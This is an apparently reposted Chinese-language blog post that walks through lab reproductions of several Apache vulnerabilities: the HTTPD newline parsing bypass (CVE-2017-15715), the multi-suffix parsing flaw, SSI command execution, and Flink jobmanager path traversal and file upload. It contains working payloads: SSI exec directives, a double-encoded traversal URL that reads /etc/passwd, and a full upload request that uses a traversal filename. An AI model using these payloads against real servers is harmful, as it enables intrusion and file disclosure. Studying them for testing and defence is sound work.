文章目錄
- Apache HTTPD 換行決議漏洞(CVE-2017-15715)
- 原理:
- 復現:
- Apache HTTPD 多后綴決議漏洞
- 原理:
- 復現:
- Apache SSI 遠程命令執行漏洞
- 原理:
- 復現:
- Apache jobmanager/log目錄穿越漏洞以及任意檔案上傳漏洞
- 原理:
- 復現:
Apache HTTPD 換行決議漏洞(CVE-2017-15715)
原理:
apache2.4.0~2.4.29版本中存在一個決議漏洞,在決議PHP時,1.php\x0A將被按照PHP后綴進行決議,導致繞過一些服務器的安全策略
復現:
首先這里查看index.php

<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
抓包看一下這些引數對應的東西:

分析一下整個代碼含義:
例如name=/www/html/1.png
$name = basename($_POST['name']) ; //顯示帶有檔案拓展名的引數 (1.png)
$ext = pathinfo($name,PATHINFO_EXTENSION); //從name中取出檔案后綴名(png)
然后黑名單校驗
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); //將上傳的臨時檔案移動到/$name下
整個代碼流程還是非常清楚的,先通過白明白校驗,然后移動檔案完成上傳即可,安全策略就是一個白名單驗證,這里直接修改HEX繞過即可
上傳然后修改hex:原來的0d修改為0a

然后發包即可,訪問yourip:port/phpinfo.php%0a,即可達到決議的目的

Apache HTTPD 多后綴決議漏洞
原理:
Apache HTTPD 支持一個檔案擁有多個后綴,并為不同后綴執行不同的指令,比如,如下組態檔:
AddType text/html .html
AddLanguage zh-CN .cn
其給.html后綴增加了media-type,值為text/html;給.cn后綴增加了語言,值為zh-CN,此時,如果用戶請求檔案index.cn.html,他將回傳一個中文的html頁面,如果運維人員給.php后綴增加了處理器:
AddHandler application/x-httpd-php .php
那么,在有多個后綴的情況下,只要一個檔案含有.php后綴的檔案即將被識別成PHP檔案,沒必要是最后一個后綴,如果校驗不嚴格,那么則可利用這個特性:shell.php.png 該檔案會被決議為.php
復現:
Apache SSI 遠程命令執行漏洞
原理:
在測驗任意檔案上傳漏洞的時候,目標服務端可能不允許上傳php后綴的檔案,如果目標服務器開啟了SSI與CGI支持,我們可以上傳一個shtml檔案,并在檔案中寫入下列RCE語法,即可命令執行
!--#exec cmd="id" -->
復現:
首先還是看一下頁面原始碼:

很顯然這里黑名單直接過濾了php后綴(當然其實大小寫都可以繞過的)
既然是黑名單繞過,那么shtml在這里就可以利用了
寫一個shtml的頁面:
!--#exec cmd="ls" -->

Apache jobmanager/log目錄穿越漏洞以及任意檔案上傳漏洞
原理:
目錄穿越:Apache Flink 1.11.0中引入的更改(以及在1.11.1和1.11.2中發布的更改)允許攻擊者通過JobManager行程的REST介面讀取JobManager本地檔案系統上的任何檔案
任意上傳:
主要是利用該介面不斷跳轉到主目錄,從而達到任意檔案讀取的效果
復現:
這里首先進行目錄穿越讀取檔案的復現
直接訪問該介面,會出現以下畫面
playload:
http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
//其中%25f是‘/’的二次編碼結果,最終訪問的是etc/passwd
下面進行任意檔案上傳的復現:
貼出EXP
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
然后發包即可:
接下來利用目錄穿越讀取檔案來讀取一下剛才上傳的tmp/success 內容

這里我想嘗試一下能不能讀取到上傳進去的php檔案,自己寫了一個phpinfo的php上傳,最后包含的時候,發現依然是只讀,很可惜,雖然可以任意上傳,但是需要組合拳來提高危害
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/327893.html
標籤:其他
